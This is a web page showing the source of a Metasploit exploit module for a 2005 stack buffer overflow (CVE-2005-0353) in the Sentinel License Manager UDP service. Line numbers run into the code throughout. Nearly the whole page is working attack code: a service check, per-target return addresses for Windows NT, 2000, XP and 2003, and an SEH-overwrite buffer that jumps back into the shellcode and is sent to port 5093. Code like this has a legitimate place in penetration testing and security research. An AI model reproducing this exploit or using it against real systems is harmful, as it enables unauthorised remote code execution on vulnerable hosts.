Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/license/sentinel_lm7_udp.rb
Views: 11783
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = AverageRanking78include Msf::Exploit::Remote::Udp910def initialize(info = {})11super(update_info(info,12'Name' => 'SentinelLM UDP Buffer Overflow',13'Description' => %q{14This module exploits a simple stack buffer overflow in the Sentinel15License Manager. The SentinelLM service is installed with a16wide selection of products and seems particular popular with17academic products. If the wrong target value is selected,18the service will crash and not restart.19},20'Author' => [ 'hdm' ],21'License' => MSF_LICENSE,22'References' =>23[24[ 'CVE', '2005-0353'],25[ 'OSVDB', '14605'],26[ 'BID', '12742'],27],28'Privileged' => true,29'DefaultOptions' =>30{31'EXITFUNC' => 'process',32},33'Payload' =>34{35'Space' => 800,36'BadChars' => "\x00\x20",37'StackAdjustment' => -3500,38},39'Platform' => 'win',40'Targets' =>41[42['SentinelLM 7.2.0.0 Windows NT 4.0 SP4/SP5/SP6', { 'Ret' => 0x77681799 }], # ws2help.dll43['SentinelLM 7.2.0.0 Windows 2000 English', { 'Ret' => 0x75022ac4 }], # ws2help.dll44['SentinelLM 7.2.0.0 Windows 2000 German', { 'Ret' => 0x74fa1887 }], # ws2help.dll45['SentinelLM 7.2.0.0 Windows XP English SP0/SP1', { 'Ret' => 0x71aa32ad }], # ws2help.dll46['SentinelLM 7.2.0.0 Windows 2003 English SP0', { 'Ret' => 0x7ffc0638 }], # peb47],48'DisclosureDate' => '2005-03-07' ))4950register_options(51[52Opt::RPORT(5093)53])54end5556def check57connect_udp58udp_sock.put("\x7a\x00\x00\x00\x00\x00")59res = udp_sock.recvfrom(8192)60disconnect_udp6162if (res and res[0] == 0x7a)63return Exploit::CheckCode::Detected64end65return Exploit::CheckCode::Safe66end6768def exploit69connect_udp7071# Payload goes first72buf = payload.encoded + rand_text_english(2048-payload.encoded.length)7374# Return to a pop/pop/ret via SEH75buf[836, 4] = [target.ret].pack('V')7677# The pop/pop/ret takes us here, jump back 5 bytes78buf[832, 2] = "\xeb\xf9"7980# Now jump all the way back to our shellcode81buf[827, 5] = "\xe9" + [-829].pack('V')8283udp_sock.put(buf)84udp_sock.recvfrom(8192)8586handler87disconnect_udp88end899091end929394